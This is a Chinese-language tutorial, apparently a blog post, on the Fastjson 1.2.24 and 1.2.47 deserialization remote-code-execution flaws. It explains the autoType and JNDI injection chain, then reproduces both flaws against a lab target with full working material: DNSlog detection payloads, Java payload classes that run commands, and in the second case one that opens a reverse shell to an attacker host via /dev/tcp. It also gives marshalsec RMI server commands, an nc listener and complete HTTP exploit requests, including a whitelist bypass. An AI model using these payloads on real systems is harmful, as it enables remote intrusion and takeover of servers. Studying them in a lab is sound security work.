一文讀懂面試官都在問的Fastjson漏洞

2023-05-23 06:02:06

Fastjson1.2.24-RCE漏洞

漏洞簡介

fastjson是阿里巴巴的開源JSON解析庫,它可以解析JSON格式的字串,支援將Java Bean序列化為JSON字串,也可以從JSON字串反序列化到JavaBean。即fastjson的主要功能就是將Java Bean序列化成JSON字串,這樣得到字串之後就可以通過資料庫等方式進行持久化了。

指紋特徵

  1. 根據返回包判斷

    任意抓個包,提交方式改為POST,花括號不閉合。返回包在就會出現fastjson字樣。當然這個可以遮蔽!

    image-20230420173222817

  2. 利用DNSlog盲打

    構造以下payload,利用sdnslog平臺接收。

     {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

    1.2.67版本後payload

     {"@type":"java.net.Inet4Address","val":"dnslog"}
     {"@type":"java.net.Inet6Address","val":"dnslog"}
     畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"這裡是dnslog"}}

     

     POST / HTTP/1.1
     Host: 192.168.72.128:8090
     User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
     Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
     Accept-Encoding: gzip, deflate
     Connection: close
     Upgrade-Insecure-Requests: 1
     Content-Type: application/json
     Content-Length: 71
     
     {"YikJiang":{"@type":"java.net.Inet4Address","val":"pesy0e.dnslog.cn"}}

    image-20230418112140106

    image-20230418112243587

  3. Java站並且傳的資料是JSON格式的都可以嘗試

  4. Burp外掛檢測

漏洞原理

一、原理概述

fastjson在解析json的過程中,支援使用autoType來範例化某一個具體的類,autoType標註了類對應的原始型別,方便在反序列化的時候定位到具體型別,fastjson在對JSON字串進行反序列化的時候,就會讀取@type到內容,試圖把JSON內容反序列化成這個物件,並且會呼叫這個類的setter方法。並呼叫該類的set/get方法來存取屬性。通過查詢程式碼中相關的方法,即可構造出一些惡意利用鏈,造成遠端程式碼執行。

因為有了autoType功能,那麼fastjson在對JSON字串進行反序列化的時候,就會讀取@type到內容,試圖把JSON內容反序列化成這個物件,並且會呼叫這個類的setter方法。那 麼就可以利用這個特性,自己構造一個JSON字串,並且使用@type指定一個自己想要使用的攻擊類庫。

在fastjson中我們使用 JdbcRowSetImpl進行反序列化的攻擊,我們給此類中的setDataSourcesName 輸入惡意內容(rmi連結),讓目標服務在反序列化的時候,請求rmi伺服器,執行rmi伺服器下發的命令,從而導致遠端命令執行漏洞

二、Fastjson

FastJson是alibaba的一款開源JSON解析庫,可用於將Java物件轉換為其JSON表示形式,也可以用於將JSON字串轉換為等效的Java物件。

三、AutoType

fastjson的主要功能就是將Java Bean序列化成JSON字串,這樣得到字串之後就可以通過資料庫等方式進行持久化了。但是,fastjson在序列化以及反序列化的過程中並沒有使用Java自帶的序列化機制,而是自定義了一套機制。

對於JSON框架來說,想要把一個Java物件轉換成字串,可以有兩種選擇:

  1. 1、基於屬性

  2. 2、基於setter/getter

而我們所常用的JSON序列化框架中,FastJson和jackson在把物件序列化成json字串的時候,是通過遍歷出該類中的所有getter方法進行的。Gson並不是這麼做的,他是通過反射遍歷該類中的所有屬性,並把其值序列化成json。我們對java類進行序列化的時候,fastjson會自動掃描其中的get方法,將裡邊的欄位值序列化到JSON的字串中,當類包含了一個介面或者抽象了的時候,使用fastjson進行序列化的時候就會將子型別抹去,只留下介面(抽象類)的型別,反序列化的時候就無法拿到原始的型別。

但是使用SerializerFeature.WriteClassName進行標記後,JSON字串中多出了一個@type欄位,標註了類對應的原始型別,方便在反序列化的時候定位到具體型別,這個就是AutoType,和引入AutoType的原因。

因為有了autoType功能,那麼fastjson在對JSON字串進行反序列化的時候,就會讀取@type到內容,試圖把JSON內容反序列化成這個物件,並且會呼叫這個類的setter方法。那 麼就可以利用這個特性,自己構造一個JSON字串,並且使用@type指定一個自己想要使用的攻擊類庫。

四、@type

@typefastjson中的一個特殊註解,用於標識JSON字串中的某個屬性是一個Java物件的型別。具體來說,當fastjsonJSON字串反序列化為Java物件時,如果JSON字串中包含@type屬性,fastjson會根據該屬性的值來確定反序列化後的Java物件的型別。

五、 JNDI 注入

1、JNDI是什麼

JNDI全稱為Java命名和目錄介面。我們可以理解為JNDI提供了兩個服務,即命名服務和目錄服務。

2、lookup函數

如果lookup引數可控的話,那麼我們就可以傳入惡意的url地址來控制受害者載入攻擊者指定的惡意類。當我們指定一個惡意的URL地址之後,受害者在獲取完這個遠端物件之後,開始呼叫惡意方法。但是在RMI中,呼叫遠端方法,最終的執行是伺服器端去執行。只是把最終的結果以序列化的形式傳遞給使用者端,也就是這裡所說的受害者。當然,如果受害者內部存在漏洞元件存在反序列化漏洞的話,我們可以構造惡意的序列化物件,返回給使用者端,當用戶端在進行反序列化的時候,可以觸發漏洞;如果目標元件不存在反序列化漏洞,我們返回一個惡意物件,但是使用者端本地沒有這個class檔案,當然也就不能成功獲取到這個物件。

六、RMI

RMI(Remote Method Invocation)遠端方法呼叫,是專為Java環境設計的遠端方法呼叫機制,遠端伺服器實現具體的Java方法並提供介面,使用者端本地僅需根據介面類的定義,提供相應的引數即可呼叫遠端方法。

七、LDAP

LDAP是輕型目錄存取協定的縮寫,是一種用於存取和維護分層目錄資訊的協定。

八、JdbcRowSetImpl利用鏈

在fastjson中我們使用JdbcRowSetImpl進行反序列化的攻擊,JdbcRowSetImpl利用鏈的重點就在怎麼呼叫autoCommit的set方法,而fastjson反序列化的特點就是會自動呼叫到類的set方法,所以會存在這個反序列化的問題。只要制定了@type的型別,他就會自動呼叫對應的類來解析。

這樣我們就可以構造我們的利用鏈。在@type的型別為JdbcRowSetImpl型別的時候,JdbcRowSetImpl類就會進行範例化,那麼只要將dataSourceName傳給lookup方法,就可以保證能夠存取到遠端的攻擊伺服器,再使用設定autoCommit屬性對lookup進行觸發就可以了。整個過程如下: 通過設定dataSourceName將屬性傳參給lookup的方法—>設定autoCommit屬性,利用SetAutoCommit函數觸發connect函數—>觸發connect函數下面lookup函數就會使用剛剛設定的dataSourceName引數,即可通過RMI存取到遠端伺服器,從而執行惡意指令。 exploit如下:

 {「@type」:」com.sun.rowset.JdbcRowSetImpl」,」dataSourceName」:」rmi://192.168.17.39:9999/Exploit」,」autoCommit」:true}

值得注意的是: 1、dataSourceName 需要放在autoCommit的前面,因為反序列化的時候是按先後順序來set屬性的,需要先etDataSourceName,然後再setAutoCommit 2、rmi的url後面跟上要獲取的我們遠端factory類名,因為在lookup()裡面會提取路徑下的名字作為要獲取的類。

九、觸發流程圖

image-20230416120023552

漏洞復現

1、存取靶機

靶機執行後,存取http://you-ip:8090 即可看到JSON格式的輸出

image-20230417164130976

2、攻擊環節

a.首先我們構造一個YikJiang.java命令執行荷載,上傳VPS並編譯

 // javac YikJiang.java
 import java.lang.Runtime;
 import java.lang.Process;
 
 public class YikJiang {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/YikJiang0916"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
 }

b.終端進行編譯

注意要使用java1.8版本,高版本的jdk 版本把遠端呼叫修復了,因為這個搞了半天

 javac .\YikJiang.java

c.編譯完成後,會發現當前目錄下生成了YikJiang.class檔案

d.利用python啟動臨時的http服務,埠為8888

 python.exe -m http.server 8888

image-20230418103833603

e. 利用marshalsec工具(需要maven環境編譯),或者使用工具marshalsec-0.0.3-SNAPSHOT-all.jar

f.生成payload

啟動RMI伺服器,監聽8888埠,並指定載入遠端類YikJiang.class

 java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 777

image-20230418104029745

g.修改提交模式和Content-Typeapplication/json,傳送payload

POST / HTTP/1.1
Host: 192.168.72.128:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 161

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.161:777/YikJiang",
"autoCommit":true
}
}

image-20230418104051561

3、攻擊結果

進入doker容器docker exec -it 6549e687ad97 /bin/bash

image-20230418104218435

Fastjson1.2.47-RCE漏洞

漏洞簡介

fastjson 於1.2.24 版本後增加了反序列化白名單。而在2019年6月,fastjson 又被爆出在 fastjson< =1.2.47 的版本中,攻擊者可以利用特殊構造的 json 字串繞過白名單檢測,成功執行任意命令

漏洞復現

在1.2.24版本漏洞復現中,我們利用fastjson漏洞進行了命令執行,1.2.27中,我們就嘗試反彈shell(其實原理都相同)

1、存取靶機

靶機執行後,存取http://you-ip:8090 即可看到JSON格式的輸出

image-20230420173104950

2、攻擊環節

a.我們構造反彈Shell

構造反彈shell的方式有很多種,這裡用Hack-Tools外掛進行構造

bash -i >& /dev/tcp/192.168.1.161/6666 0>&1

image-20230420173642692

b.首先我們構造一個YikJiang.java命令執行荷載,上傳VPS並編譯

import java.lang.Runtime;
import java.lang.Process;

public class YikJiang {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.161/6666 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

b.終端進行編譯

注意要使用java1.8版本,高版本的jdk 版本把遠端呼叫修復了,因為這個搞了半天

javac .\YikJiang.java

c.編譯完成後,會發現當前目錄下生成了YikJiang.class檔案

d.利用python啟動臨時的http服務,埠為8888

Python2.0 python2 -m SimpleHTTPServer 8888

Python3.0 python3 -m http.server 8888

python.exe -m http.server 8888

image-20230420174718130

image-20230420174945006

e. 利用marshalsec工具(需要maven環境編譯),或者使用工具marshalsec-0.0.3-SNAPSHOT-all.jar

f.生成payload

啟動RMI伺服器,並指定載入遠端類YikJiang.class

java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 9999

image-20230420175508334

g.本地開啟監聽nc -lvp 6666

image-20230420175754058

h.修改提交模式和Content-Typeapplication/json,傳送payload

POST / HTTP/1.1
Host: 192.168.72.128:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 287

{

"a":{

    "@type":"java.lang.Class",

    "val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

    "@type":"com.sun.rowset.JdbcRowSetImpl",

    "dataSourceName":"rmi://192.168.1.161:9999/YikJiang",

    "autoCommit":true

}

image-20230420175836324

3、攻擊結果

傳送成功後,RMI伺服器記錄了請求資訊,並且成功反彈Shell

image-20230420175900012